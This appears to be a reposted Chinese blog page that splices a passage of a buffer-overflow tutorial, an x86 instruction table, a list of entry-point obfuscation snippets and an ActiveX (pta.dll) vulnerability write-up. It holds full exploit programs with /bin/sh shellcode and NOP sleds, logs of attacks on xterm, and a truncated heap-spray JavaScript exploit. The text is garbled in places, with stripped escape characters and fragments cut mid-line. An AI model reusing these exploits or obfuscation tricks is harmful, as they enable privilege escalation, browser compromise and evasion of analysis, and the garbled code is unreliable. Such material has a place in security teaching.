putenv(buff); system("/bin/bash");}------------------------------------------------------------------------------ 现在我们尝试猜测缓冲区的大小和偏移量:------------------------------------------------------------------------------[aleph1]$ ./exploit2 500Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG[aleph1]$ exit[aleph1]$ ./exploit2 600Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGGIllegal instruction[aleph1]$ exit[aleph1]$ ./exploit2 600 100Using address: 0xbffffd4c[aleph1]$ ./vulnerable $EGGSegmentation fault[aleph1]$ exit[aleph1]$ ./exploit2 600 200Using address: 0xbffffce8[aleph1]$ ./vulnerable $EGGSegmentation fault[aleph1]$ exit...[aleph1]$ ./exploit2 600 1564Using address: 0xbffff794[aleph1]$ ./vulnerable $EGG$------------------------------------------------------------------------------ 正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样: 内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffer sfp ret a b c<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ | |_____________________|堆栈顶端 堆栈底部
新的破解程序如下:
exploit3.c------------------------------------------------------------------------------#include <stdlib.h>#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {
__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {
char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n"); exit(0); }addr = get_sp() - offset;
printf("Using address: 0x%xn", addr);ptr = buff;
addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)
buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];buff[bsize - 1] = '';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash");}------------------------------------------------------------------------------我们所使用的缓冲区大小最好比要使其溢出的缓冲区大100字节左右. 我们在要使其
溢出的缓冲区尾部放置shellcode, 为NOP指令留下足够的空间, 仍然使用我们推测的地址来覆盖返回地址. 这里我们要使其溢出的缓冲区大小是512字节, 所以我们使用612字节.现在使用新的破解程序来使我们的测试程序溢出:------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG$------------------------------------------------------------------------------ 哇!一击中的!这个改进成千倍地提高了我们的命中率. 下面在真实的环境中尝试一下缓冲区溢出. 在Xt库上运用我们所讲述的方法. 在例子中, 我们使用xterm(实际上所有连接Xt库的程序都有漏洞). 计算机上要运行X Server并且允许本地的连接. 还要相应设置DISPLAY变量. ------------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0[aleph1]$ ./exploit3 1124Using address: 0xbffffdb4[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name "隵1?F °(此处截短多行输出)
^C[aleph1]$ exit[aleph1]$ ./exploit3 2148 100Using address: 0xbffffd48[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name "隵1?F(此处截短多行输出)
縃????????????arning: some arguments in previous message were lost
Illegal instruction[aleph1]$ exit...[aleph1]$ ./exploit4 2148 600Using address: 0xbffffb54[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name "隵1?F(此处截短多行输出)
------------------------------------------------------------------------------
尤里卡! 仅仅几次尝试我们就成功了!如果xterm是带suid root安装的, 我们就已经
得到了一个root shell了.小缓冲区的溢出
~~~~~~~~~~~~~~~~ 有时候想使其溢出的缓冲区太小了, 以至于shellcode都放不进去, 这样返回地址就会被指令所覆盖, 而不是我们所推测的地址, 或者shellcode是放进去了, 但是没法填充足够多的NOP指令, 这样推测地址的成功率就很低了. 要从这样的程序(小缓冲区)里得到一个shell, 我们必须得想其他办法. 下面介绍的这种方法只在能够访问程序的环境变量时有效.我们所做的就是把shellcode放到环境变量中去, 然后用这个变量在内存中的地址来
使缓冲区溢出. 这种方法同时也提高了破解工作的成功率, 因为保存shellcode的环境变量想要多大就有多大.当程序开始时, 环境变量存储在堆栈的顶部, 任何使用setenv()的修改动作会在其他
地方重新分配空间. 开始时的堆栈如下所示:<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我们新的程序会使用一个额外的变量, 变量的大小能够容纳shellcode和NOP指令,
新的破解程序如下所示:exploit4.c
------------------------------------------------------------------------------#include <stdlib.h>#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";unsigned long get_esp(void) {
__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {
char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE;if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.n"); exit(0); }addr = get_esp() - offset;
printf("Using address: 0x%xn", addr);ptr = buff;
addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];buff[bsize - 1] = '';
egg[eggsize - 1] = '';memcpy(egg,"EGG=",4);
putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash");}------------------------------------------------------------------------------用这个新的破解程序来试试我们的漏洞测试程序:
------------------------------------------------------------------------------[aleph1]$ ./exploit4 768Using address: 0xbffffdb0[aleph1]$ ./vulnerable $RET$------------------------------------------------------------------------------ 成功了, 再试试xterm:------------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0[aleph1]$ ./exploit4 2148Using address: 0xbffffdb0[aleph1]$ /usr/X11R6/bin/xterm -fg $RETWarning: Color name(此处截短多行输出)Warning: some arguments in previous message were lost$------------------------------------------------------------------------------一次成功! 它显著提高了我们的成功率. 依赖于破解程序和被破解程序比较环境数据
的多少, 我们推测的地址可能高也可能低于真值. 正和负的偏移量都可以试一试. 寻找缓冲区溢出漏洞 ~~~~~~~~~~~~~~~~~~~~~ 如前所述, 缓冲区溢出是向一个缓冲区填充超过其处理能力的信息造成的结果. 由于C语言没有任何内置的边界检查, 写入一个字符数组时, 如果超越了数组的结尾就会造成溢出. 标准C语言 8088汇编指令表一、数据传输指令 ─────────────────────────────────────── 它们在存贮器和寄存器、寄存器和输入输出端口之间传送数据. 1. 通用数据传送指令. MOV 传送字或字节. MOVSX 先符号扩展,再传送. MOVZX 先零扩展,再传送. PUSH 把字压入堆栈. POP 把字弹出堆栈. PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈. POPA 把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈. PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈. POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈. BSWAP 交换32位寄存器里字节的顺序 XCHG 交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数) CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX ) XADD 先交换再累加.( 结果在第一个操作数里 ) XLAT 字节查表转换. ── BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即 0-FFH); 返回 AL 为查表结果. ( [BX+AL]->AL ) 2. 输入输出端口传送指令. IN I/O端口输入. ( 语法: IN 累加器, {端口号│DX} ) OUT I/O端口输出. ( 语法: OUT {端口号│DX},累加器 ) 输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时, 其范围是 0-65535. 3. 目的地址传送指令. LEA 装入有效地址. 例: LEA DX,string ;把偏移地址存到DX. LDS 传送目标指针,把指针内容装入DS. 例: LDS SI,string ;把段地址:偏移地址存到DS:SI. LES 传送目标指针,把指针内容装入ES. 例: LES DI,string ;把段地址:偏移地址存到ES:DI. LFS 传送目标指针,把指针内容装入FS. 例: LFS DI,string ;把段地址:偏移地址存到FS:DI. LGS 传送目标指针,把指针内容装入GS. 例: LGS DI,string ;把段地址:偏移地址存到GS:DI. LSS 传送目标指针,把指针内容装入SS. 例: LSS DI,string ;把段地址:偏移地址存到SS:DI. 4. 标志传送指令. LAHF 标志寄存器传送,把标志装入AH. SAHF 标志寄存器传送,把AH内容装入标志寄存器. PUSHF 标志入栈. POPF 标志出栈. PUSHD 32位标志入栈. POPD 32位标志出栈.二、算术运算指令
─────────────────────────────────────── ADD 加法.ADC 带进位加法.INC 加 1.AAA 加法的ASCII码调整.DAA 加法的十进制调整.SUB 减法.SBB 带借位减法.DEC 减 1.NEC 求反(以 0 减之).CMP 比较.(两操作数作减法,仅修改标志位,不回送结果).AAS 减法的ASCII码调整.DAS 减法的十进制调整.MUL 无符号乘法.IMUL 整数乘法.以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算),AAM 乘法的ASCII码调整.DIV 无符号除法.IDIV 整数除法.以上两条,结果回送:商回送AL,余数回送AH, (字节运算);或 商回送AX,余数回送DX, (字运算).AAD 除法的ASCII码调整.CBW 字节转换为字. (把AL中字节的符号扩展到AH中去)CWD 字转换为双字. (把AX中的字的符号扩展到DX中去)CWDE 字转换为双字. (把AX中的字符号扩展到EAX中去)CDQ 双字扩展. (把EAX中的字的符号扩展到EDX中去)三、逻辑运算指令
─────────────────────────────────────── AND 与运算.OR 或运算.XOR 异或运算.NOT 取反.TEST 测试.(两操作数作与运算,仅修改标志位,不回送结果).SHL 逻辑左移.SAL 算术左移.(=SHL)SHR 逻辑右移.SAR 算术右移.(=SHR)ROL 循环左移.ROR 循环右移.RCL 通过进位的循环左移.RCR 通过进位的循环右移.以上八种移位指令,其移位次数可达255次.移位一次时, 可直接用操作码. 如 SHL AX,1.移位>1次时, 则由寄存器CL给出移位次数.如 MOV CL,04SHL AX,CL四、串指令
─────────────────────────────────────── DS:SI 源串段寄存器 :源串变址.ES:DI 目标串段寄存器:目标串变址.CX 重复次数计数器.AL/AX 扫描值.D标志 0表示重复操作中SI和DI应自动增量; 1表示应自动减量.Z标志 用来控制扫描或比较操作的结束.MOVS 串传送.( MOVSB 传送字符. MOVSW 传送字. MOVSD 传送双字. )CMPS 串比较.( CMPSB 比较字符. CMPSW 比较字. )SCAS 串扫描.把AL或AX的内容与目标串作比较,比较结果反映在标志位.LODS 装入串.把源串中的元素(字或字节)逐一装入AL或AX中.( LODSB 传送字符. LODSW 传送字. LODSD 传送双字. )STOS 保存串.是LODS的逆过程.REP 当CX/ECX<>0时重复.REPE/REPZ 当ZF=1或比较结果相等,且CX/ECX<>0时重复.REPNE/REPNZ 当ZF=0或比较结果不相等,且CX/ECX<>0时重复.REPC 当CF=1且CX/ECX<>0时重复.REPNC 当CF=0且CX/ECX<>0时重复.五、程序转移指令
─────────────────────────────────────── 1>无条件转移指令 (长转移)JMP 无条件转移指令CALL 过程调用RET/RETF过程返回.2>条件转移指令 (短转移,-128到+127的距离内)( 当且仅当(SF XOR OF)=1时,OP1JA/JNBE 不小于或不等于时转移.JAE/JNB 大于或等于转移.JB/JNAE 小于转移.JBE/JNA 小于或等于转移.以上四条,测试无符号整数运算的结果(标志C和Z).JG/JNLE 大于转移.JGE/JNL 大于或等于转移.JL/JNGE 小于转移.JLE/JNG 小于或等于转移.以上四条,测试带符号整数运算的结果(标志S,O和Z).JE/JZ 等于转移.JNE/JNZ 不等于时转移.JC 有进位时转移.JNC 无进位时转移.JNO 不溢出时转移.JNP/JPO 奇偶性为奇数时转移.JNS 符号位为 "0" 时转移.JO 溢出转移.JP/JPE 奇偶性为偶数时转移.JS 符号位为 "1" 时转移.3>循环控制指令(短转移)LOOP CX不为零时循环.LOOPE/LOOPZ CX不为零且标志Z=1时循环.LOOPNE/LOOPNZ CX不为零且标志Z=0时循环.JCXZ CX为零时转移.JECXZ ECX为零时转移.4>中断指令INT 中断指令INTO 溢出中断IRET 中断返回5>处理器控制指令HLT 处理器暂停, 直到出现中断或复位信号才继续.WAIT 当芯片引线TEST为高电平时使CPU进入等待状态.ESC 转换到外处理器.LOCK 封锁总线.NOP 空操作.STC 置进位标志位.CLC 清进位标志位.CMC 进位标志取反.STD 置方向标志位.CLD 清方向标志位.STI 置中断允许位.CLI 清中断允许位.六、伪指令
─────────────────────────────────────── DW 定义字(2字节).PROC 定义过程.ENDP 过程结束.SEGMENT 定义段.ASSUME 建立段寄存器寻址.ENDS 段结束.END 程序结束.花指令大全>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
1。 VC++ 5.0PUSH EBPMOV EBP,ESPPUSH -1push 515448PUSH 6021A8MOV EAX,DWORD PTR FS:[0]PUSH EAXMOV DWORD PTR FS:[0],ESPADD ESP,-6CPUSH EBXPUSH ESIPUSH EDIjmp 跳转到程序原来的入口点>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
2。c ++push ebpmov ebp,esppush -1push 111111push 222222mov eax,fs:[0]push eaxmov fs:[0],esppop eaxmov fs:[0],eaxpop eaxpop eaxpop eaxpop eaxmov ebp,eaxjmp 跳转到程序原来的入口点>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
3。跳转somewhere:nop /"胡乱"跳转的开始...jmp 下一个jmp的地址 /在附近随意跳jmp ... /...jmp 原入口的地址 /跳到原始oep--------------------------------------------------
新入口: push ebpmov ebp,espinc ecxpush edxnoppop edxdec ecxpop ebpinc ecxloop somewhere /跳转到上面那段代码地址去!>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
4。Microsoft Visual C++ 6.0push ebp
mov ebp,espPUSH -1PUSH 0PUSH 0MOV EAX,DWORD PTR FS:[0]PUSH EAXMOV DWORD PTR FS:[0],ESPSUB ESP,68PUSH EBXPUSH ESIPUSH EDIPOP EAXPOP EAXPOP EAXADD ESP,68POP EAXMOV DWORD PTR FS:[0],EAXPOP EAXPOP EAXPOP EAXPOP EAXMOV EBP,EAXJMP 原入口>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
5。
在mov ebp,eax后面加上PUSH EAXPOP EAX>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>6.push ebpmov ebp,espadd esp,-0Cadd esp,0Cmov eax,403D7Dpush eaxretn>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
push ebpmov ebp,esppush -1push 00411222push 00411544mov eax,dword ptr fs:[0]push eaxmov dword ptr fs:[0],espadd esp,-6Cpush ebxpush esipush ediadd byte ptr ds:[eax],aljo 入口jno 入口call 下一地址>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
7.push ebp
nopnopmov ebp,espinc ecxnoppush edxnopnoppop edxnoppop ebpinc ecxloop 任意地址nopnop———————————————
nopnopjmp 下一个jmp的地址 /在附近随意跳nop
jmp 下一个jmp的地址 /在附近随意跳nop
jmp 下一个jmp的地址 /在附近随意跳jmp 入口
UPX 二进制
漏洞存在于由ActiveX控件"pta.dll"导出的"Remove()"函数中,相关信息如下:InprocServer32: pta.dll
ClassID : 66F50F46-70A0-4A05-BD5E-FBCC0F9641EC[id(0x60030001), helpstring("method Remove")]
void Remove([in] int idx);直接看Remove()函数的处理流程:
.text:10003D4E ; Remove
.text:10003D4E .text:10003D4E sub_10003D4E proc near ; DATA XREF: .rdata:1000B3A4o .text:10003D4E ; .rdata:1000B41Co ... .text:10003D4E .text:10003D4E arg_0 = dword ptr 4 .text:10003D4E arg_4 = dword ptr 8 .text:10003D4E .text:10003D4E mov eax, [esp+arg_4] .text:10003D52 test eax, eax .text:10003D54 jl short loc_10003D78 .text:10003D56 push esi .text:10003D57 mov esi, [esp+4+arg_0] ; get idx .text:10003D5B shl eax, 4 ; idx << 4 .text:10003D5E add eax, [esi+8] ; [esi+8]=0 .text:10003D61 push edi ; .text:10003D62 mov edi, eax ; idx << 4 ==>edi .text:10003D64 mov eax, [edi+8] ; [(idx << 4)+8] ==>eax .text:10003D67 push eax .text:10003D68 mov ecx, [eax] ; [[(idx << 4)+8]]==>ecx .text:10003D6A call dword ptr [ecx+8] ; [[[(idx << 4)+8]]+8]==>jmp addr .text:10003D6D push edi .text:10003D6E lea ecx, [esi+4] .text:10003D71 call sub_10003F35 .text:10003D76 pop edi .text:10003D77 pop esi .text:10003D78 .text:10003D78 loc_10003D78: ; CODE XREF: sub_10003D4E+6j .text:10003D78 xor eax, eax .text:10003D7A retn 8 .text:10003D7A sub_10003D4E endp idx是我们可以控制的,因此可以完成有意思的攻击,比如我们设置的idx为0x41414141,程序会执行[[[14141410h+8]]+8]地址的代码。测试方法:警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/************************************************************************************************************************************************************************************************/function ClickForRunCalc()
{ var heapSprayToAddress = 0x0d0d0d0d;var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+"%uE8FC%0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0d0d%u0d0d");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i
来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/219138/viewspace-915575/,如需转载,请注明出处,否则将追究法律责任。
转载于:http://blog.itpub.net/219138/viewspace-915575/